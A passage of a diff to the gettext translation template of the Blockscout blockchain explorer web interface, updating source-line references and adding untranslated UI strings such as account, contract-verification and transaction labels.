elixir-autogen, elixir-format msgid "Potential matches from our contract method database:" msgstr "" +#: lib/block_scout_web/templates/layout/_search.html.eex:27 #: lib/block_scout_web/templates/layout/_search.html.eex:27 #, elixir-autogen, elixir-format msgid "Press / and focus will be moved to the search field" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:41 -#: lib/block_scout_web/templates/layout/app.html.eex:47 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:94 +#: lib/block_scout_web/templates/chain/show.html.eex:42 +#: lib/block_scout_web/templates/chain/show.html.eex:42 +#: lib/block_scout_web/templates/layout/app.html.eex:51 +#: lib/block_scout_web/templates/layout/app.html.eex:51 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:96 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:96 #, elixir-autogen, elixir-format msgid "Price" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:93 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:95 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:95 #, elixir-autogen, elixir-format msgid "Price per token on the exchanges" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:344 +#: lib/block_scout_web/templates/transaction/overview.html.eex:399 +#: lib/block_scout_web/templates/transaction/overview.html.eex:399 +#, elixir-autogen, elixir-format +msgid "Price per unit of gas specified by the sender on L2. Higher gas prices can prioritize transaction inclusion during times of high usage." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#: lib/block_scout_web/templates/transaction/overview.html.eex:403 #, elixir-autogen, elixir-format msgid "Price per unit of gas specified by the sender. Higher gas prices can prioritize transaction inclusion during times of high usage." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:225 -#: lib/block_scout_web/templates/transaction/overview.html.eex:394 +#: lib/block_scout_web/templates/block/overview.html.eex:227 +#: lib/block_scout_web/templates/block/overview.html.eex:227 +#: lib/block_scout_web/templates/transaction/overview.html.eex:460 +#: lib/block_scout_web/templates/transaction/overview.html.eex:460 #, elixir-autogen, elixir-format msgid "Priority Fee / Tip" msgstr "" +#: lib/block_scout_web/templates/block/_tile.html.eex:62 #: lib/block_scout_web/templates/block/_tile.html.eex:62 #, elixir-autogen, elixir-format msgid "Priority Fees" msgstr "" +#: lib/block_scout_web/templates/account/common/_nav.html.eex:4 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:4 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:14 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:14 +#, elixir-autogen, elixir-format +msgid "Profile" +msgstr "" + #: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:10 +#: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:10 +#: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:5 #: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:5 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:83 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:83 #, elixir-autogen, elixir-format msgid "QR Code" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:109 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 #, elixir-autogen, elixir-format msgid "Query" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:104 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:115 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:115 #, elixir-autogen, elixir-format msgid "RPC" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:439 +#: lib/block_scout_web/templates/transaction/overview.html.eex:546 +#: lib/block_scout_web/templates/transaction/overview.html.eex:546 #, elixir-autogen, elixir-format msgid "Raw Input" msgstr "" #: lib/block_scout_web/templates/transaction/_tabs.html.eex:24 -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:7 -#: lib/block_scout_web/views/transaction_view.ex:514 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:24 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:1 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:1 +#: lib/block_scout_web/views/transaction_view.ex:554 +#: lib/block_scout_web/views/transaction_view.ex:554 #, elixir-autogen, elixir-format msgid "Raw Trace" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:81 #: lib/block_scout_web/templates/address/_tabs.html.eex:81 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:27 -#: lib/block_scout_web/views/address_view.ex:366 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:27 +#: lib/block_scout_web/views/address_view.ex:357 +#: lib/block_scout_web/views/address_view.ex:357 +#: lib/block_scout_web/views/tokens/overview_view.ex:41 #: lib/block_scout_web/views/tokens/overview_view.ex:41 #, elixir-autogen, elixir-format msgid "Read Contract" msgstr "" #: lib/block_scout_web/templates/address/_tabs.html.eex:88 +#: lib/block_scout_web/templates/address/_tabs.html.eex:88 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:41 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:41 -#: lib/block_scout_web/views/address_view.ex:367 +#: lib/block_scout_web/views/address_view.ex:358 +#: lib/block_scout_web/views/address_view.ex:358 #, elixir-autogen, elixir-format msgid "Read Proxy" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:13 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:13 #, elixir-autogen, elixir-format msgid "Records" msgstr "" +#: lib/block_scout_web/templates/account/api_key/row.html.eex:13 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:13 +#, elixir-autogen, elixir-format +msgid "Remove" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:77 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:77 +#, elixir-autogen, elixir-format +msgid "Remove from Watch list" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:155 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:155 #, elixir-autogen, elixir-format msgid "Request URL" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:142 +#: lib/block_scout_web/templates/error422/index.html.eex:7 +#: lib/block_scout_web/templates/error422/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Request cannot be processed" +msgstr "" + +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "Resend verification email" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:112 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:112 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:38 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:138 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:38 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:104 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:104 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:52 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:52 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:48 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:48 #, elixir-autogen, elixir-format msgid "Reset" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:173 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:173 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:134 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:134 #, elixir-autogen, elixir-format msgid "Response Body" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:185 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:185 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:147 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:147 #, elixir-autogen, elixir-format msgid "Responses" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:93 +#: lib/block_scout_web/templates/transaction/overview.html.eex:98 +#: lib/block_scout_web/templates/transaction/overview.html.eex:98 #, elixir-autogen, elixir-format msgid "Result" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:130 +#: lib/block_scout_web/templates/transaction/overview.html.eex:138 +#: lib/block_scout_web/templates/transaction/overview.html.eex:138 #, elixir-autogen, elixir-format msgid "Revert reason" msgstr "" +#: lib/block_scout_web/templates/block/_tile.html.eex:52 #: lib/block_scout_web/templates/block/_tile.html.eex:52 #: lib/block_scout_web/templates/chain/_block.html.eex:27 -#: lib/block_scout_web/views/internal_transaction_view.ex:28 +#: lib/block_scout_web/templates/chain/_block.html.eex:27 +#: lib/block_scout_web/views/internal_transaction_view.ex:29 +#: lib/block_scout_web/views/internal_transaction_view.ex:29 #, elixir-autogen, elixir-format msgid "Reward" msgstr "" +#: lib/block_scout_web/templates/admin/dashboard/index.html.eex:21 #: lib/block_scout_web/templates/admin/dashboard/index.html.eex:21 #, elixir-autogen, elixir-format msgid "Run" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:26 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:26 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:31 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:31 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:25 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:25 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:25 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:25 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:83 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:83 +#, elixir-autogen, elixir-format +msgid "Save" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:226 +#: lib/block_scout_web/templates/transaction/overview.html.eex:226 +#, elixir-autogen, elixir-format +msgid "Scroll to see more" +msgstr "" + +#: lib/block_scout_web/templates/address_logs/index.html.eex:16 #: lib/block_scout_web/templates/address_logs/index.html.eex:16 #: lib/block_scout_web/templates/layout/_search.html.eex:34 +#: lib/block_scout_web/templates/layout/_search.html.eex:34 #, elixir-autogen, elixir-format msgid "Search" msgstr "" +#: lib/block_scout_web/templates/search/results.html.eex:17 #: lib/block_scout_web/templates/search/results.html.eex:17 #, elixir-autogen, elixir-format msgid "Search Results" msgstr "" +#: lib/block_scout_web/templates/layout/_search.html.eex:3 #: lib/block_scout_web/templates/layout/_search.html.eex:3 #, elixir-autogen, elixir-format msgid "Search by address, token symbol name, transaction hash, or block number" msgstr "" +#: lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex:47 #: lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex:47 #, elixir-autogen, elixir-format msgid "Search tokens" msgstr "" -#: lib/block_scout_web/views/internal_transaction_view.ex:27 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:19 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Select Yes if you want to verify Yul contract." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:19 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Select yes if you want to show nightly builds." +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:28 +#: lib/block_scout_web/views/internal_transaction_view.ex:28 #, elixir-autogen, elixir-format msgid "Self-Destruct" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:163 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:163 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:124 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:124 #, elixir-autogen, elixir-format msgid "Server Response" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:7 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:7 #, elixir-autogen, elixir-format msgid "Show" msgstr "" +#: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:11 #: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:11 #, elixir-autogen, elixir-format msgid "Show QR Code" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:47 -#, elixir-autogen, elixir-format -msgid "Show Validator Info" -msgstr "" - +#: lib/block_scout_web/templates/address_token/overview.html.eex:52 #: lib/block_scout_web/templates/address_token/overview.html.eex:52 #, elixir-autogen, elixir-format msgid "Shows the current" msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:59 #: lib/block_scout_web/templates/address_token/overview.html.eex:59 #, elixir-autogen, elixir-format msgid "Shows the tokens held in the address (includes ERC-20, ERC-721 and ERC-1155)." msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:66 #: lib/block_scout_web/templates/address_token/overview.html.eex:66 #, elixir-autogen, elixir-format msgid "Shows the total CRC balance in the address." msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:45 #: lib/block_scout_web/templates/address_token/overview.html.eex:45 #, elixir-autogen, elixir-format msgid "Shows total assets held in the address" msgstr "" +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:32 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:32 +#, elixir-autogen, elixir-format +msgid "Sign in" +msgstr "" + +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:23 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:23 +#, elixir-autogen, elixir-format +msgid "Sign out" +msgstr "" + +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:11 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:11 +#, elixir-autogen, elixir-format +msgid "Signed in as " +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:114 #: lib/block_scout_web/templates/block/overview.html.eex:114 #, elixir-autogen, elixir-format msgid "Size" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:113 #: lib/block_scout_web/templates/block/overview.html.eex:113 #, elixir-autogen, elixir-format msgid "Size of the block in bytes." msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #, elixir-autogen, elixir-format msgid "Slow" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:26 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:26 +#: lib/block_scout_web/views/verified_contracts_view.ex:10 +#: lib/block_scout_web/views/verified_contracts_view.ex:10 +#, elixir-autogen, elixir-format +msgid "Solidity" +msgstr "" + +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:30 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:30 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_logs/index.html.eex:23 #: lib/block_scout_web/templates/address_logs/index.html.eex:23 #: lib/block_scout_web/templates/address_token/index.html.eex:60 +#: lib/block_scout_web/templates/address_token/index.html.eex:60 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:58 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:58 #: lib/block_scout_web/templates/address_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_validation/index.html.eex:20 #: lib/block_scout_web/templates/address_validation/index.html.eex:20 -#: lib/block_scout_web/templates/block_transaction/index.html.eex:22 -#: lib/block_scout_web/templates/chain/show.html.eex:157 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:20 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:20 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:14 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:14 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:14 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:14 +#: lib/block_scout_web/templates/chain/show.html.eex:160 +#: lib/block_scout_web/templates/chain/show.html.eex:160 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:18 -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:23 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:18 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:24 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:24 +#: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:23 #: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:23 #: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:23 -#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:22 -#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:21 +#: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:23 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:23 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:23 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:22 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:22 +#: lib/block_scout_web/templates/transaction/index.html.eex:25 #: lib/block_scout_web/templates/transaction/index.html.eex:25 #: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/transaction_log/index.html.eex:15 #: lib/block_scout_web/templates/transaction_log/index.html.eex:15 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:13 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:13 #: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:14 +#: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:14 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:51 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:51 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:14 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:14 #, elixir-autogen, elixir-format msgid "Something went wrong, click to reload." msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:222 +#: lib/block_scout_web/templates/chain/show.html.eex:225 +#: lib/block_scout_web/templates/chain/show.html.eex:225 #, elixir-autogen, elixir-format msgid "Something went wrong, click to retry." msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:7 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:6 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:6 #, elixir-autogen, elixir-format -msgid "Sorry, We are unable to locate this transaction Hash" +msgid "Sorry, we are unable to locate this transaction hash" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 #, elixir-autogen, elixir-format msgid "Sources *.sol files" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 +#, elixir-autogen, elixir-format +msgid "Sources *.sol or *.yul files" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:14 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:14 #, elixir-autogen, elixir-format msgid "Sources and Metadata JSON" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:125 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:136 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:136 #, elixir-autogen, elixir-format msgid "Stakes" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:24 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:24 #, elixir-autogen, elixir-format msgid "Standard Input JSON" msgstr "" +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:29 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:29 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:6 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:6 +#: lib/block_scout_web/views/transaction_view.ex:555 +#: lib/block_scout_web/views/transaction_view.ex:555 +#, elixir-autogen, elixir-format +msgid "State changes" +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:24 #: lib/block_scout_web/views/internal_transaction_view.ex:24 #, elixir-autogen, elixir-format msgid "Static Call" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:105 +#: lib/block_scout_web/templates/transaction/overview.html.eex:110 +#: lib/block_scout_web/templates/transaction/overview.html.eex:110 #, elixir-autogen, elixir-format msgid "Status" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:39 +#: lib/block_scout_web/templates/layout/_footer.html.eex:41 +#: lib/block_scout_web/templates/layout/_footer.html.eex:41 #, elixir-autogen, elixir-format msgid "Submit an Issue" msgstr "" #: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:8 -#: lib/block_scout_web/views/transaction_view.ex:350 +#: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:8 +#: lib/block_scout_web/views/transaction_view.ex:376 +#: lib/block_scout_web/views/transaction_view.ex:376 #, elixir-autogen, elixir-format msgid "Success" msgstr "" #: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:21 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:46 +#: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:21 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:52 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:52 #, elixir-autogen, elixir-format msgid "TX Fee" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:30 +#: lib/block_scout_web/templates/layout/_footer.html.eex:31 +#: lib/block_scout_web/templates/layout/_footer.html.eex:31 #, elixir-autogen, elixir-format msgid "Telegram" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:63 +#: lib/block_scout_web/templates/layout/_footer.html.eex:67 +#: lib/block_scout_web/templates/layout/_footer.html.eex:67 #, elixir-autogen, elixir-format msgid "Test Networks" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:9 +#, elixir-autogen, elixir-format +msgid "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#, elixir-autogen, elixir-format +msgid "The EVM version the contract is written for. If the bytecode does not match the version, we try to verify using the latest EVM version." +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:122 #: lib/block_scout_web/templates/block/overview.html.eex:122 #, elixir-autogen, elixir-format msgid "The SHA256 hash of the block." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:51 #: lib/block_scout_web/templates/block/overview.html.eex:51 #, elixir-autogen, elixir-format msgid "The block height of a particular block is defined as the number of blocks preceding it in the blockchain." msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:41 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:18 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "The changes from this transaction have not yet happened since the transaction is still pending." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:18 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:18 +#, elixir-autogen, elixir-format +msgid "The compiler version is specified in pragma solidity X.X.X. Use the compiler version rather than the nightly build. If using the Solidity compiler, run solc —version to check." +msgstr "" + +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 #, elixir-autogen, elixir-format msgid "The fallback function is executed on a call to the contract if none of the other functions match the given function signature, or if no data was supplied at all and there is no receive Ether function. The fallback function always receives data, but in order to also receive Ether it must be marked payable." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:138 #: lib/block_scout_web/templates/block/overview.html.eex:138 #, elixir-autogen, elixir-format msgid "The hash of the block from which this block was generated." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:92 +#: lib/block_scout_web/templates/address/overview.html.eex:74 +#: lib/block_scout_web/templates/address/overview.html.eex:74 #, elixir-autogen, elixir-format msgid "The name found in the source code of the Contract." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:103 +#: lib/block_scout_web/templates/address/overview.html.eex:85 +#: lib/block_scout_web/templates/address/overview.html.eex:85 #, elixir-autogen, elixir-format msgid "The name of the validator." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:79 #: lib/block_scout_web/templates/block/overview.html.eex:79 #, elixir-autogen, elixir-format msgid "The number of transactions in the block." msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:43 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 #, elixir-autogen, elixir-format msgid "The receive function is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:129 +#: lib/block_scout_web/templates/transaction/overview.html.eex:137 +#: lib/block_scout_web/templates/transaction/overview.html.eex:137 #, elixir-autogen, elixir-format msgid "The revert reason of the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:104 +#: lib/block_scout_web/templates/transaction/overview.html.eex:109 +#: lib/block_scout_web/templates/transaction/overview.html.eex:109 #, elixir-autogen, elixir-format msgid "The status of the transaction: Confirmed or Unconfirmed." msgstr "" +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:67 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:67 #, elixir-autogen, elixir-format msgid "The total amount of tokens issued" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:177 +#: lib/block_scout_web/templates/block/overview.html.eex:179 +#: lib/block_scout_web/templates/block/overview.html.eex:179 #, elixir-autogen, elixir-format msgid "The total gas amount used in the block and its percentage of gas filled in the block." msgstr "" +#: lib/block_scout_web/templates/address_validation/index.html.eex:16 #: lib/block_scout_web/templates/address_validation/index.html.eex:16 #, elixir-autogen, elixir-format msgid "There are no blocks validated by this address." msgstr "" +#: lib/block_scout_web/templates/block/index.html.eex:17 #: lib/block_scout_web/templates/block/index.html.eex:17 #, elixir-autogen, elixir-format msgid "There are no blocks." msgstr "" -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:28 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:29 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:29 #, elixir-autogen, elixir-format msgid "There are no holders for this Token." msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:54 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:54 #, elixir-autogen, elixir-format msgid "There are no internal transactions for this address." msgstr "" +#: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:17 #: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:17 #, elixir-autogen, elixir-format msgid "There are no internal transactions for this transaction." msgstr "" +#: lib/block_scout_web/templates/address_logs/index.html.eex:28 #: lib/block_scout_web/templates/address_logs/index.html.eex:28 #, elixir-autogen, elixir-format msgid "There are no logs for this address." msgstr "" +#: lib/block_scout_web/templates/transaction_log/index.html.eex:20 #: lib/block_scout_web/templates/transaction_log/index.html.eex:20 #, elixir-autogen, elixir-format msgid "There are no logs for this transaction." msgstr "" +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:22 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:22 #, elixir-autogen, elixir-format msgid "There are no pending transactions." msgstr "" +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:53 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:53 #, elixir-autogen, elixir-format msgid "There are no token transfers for this address." msgstr "" +#: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:19 #: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:19 #, elixir-autogen, elixir-format msgid "There are no token transfers for this transaction" msgstr "" +#: lib/block_scout_web/templates/address_token/index.html.eex:65 #: lib/block_scout_web/templates/address_token/index.html.eex:65 #, elixir-autogen, elixir-format msgid "There are no tokens for this address." msgstr "" -#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:27 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:28 +#: 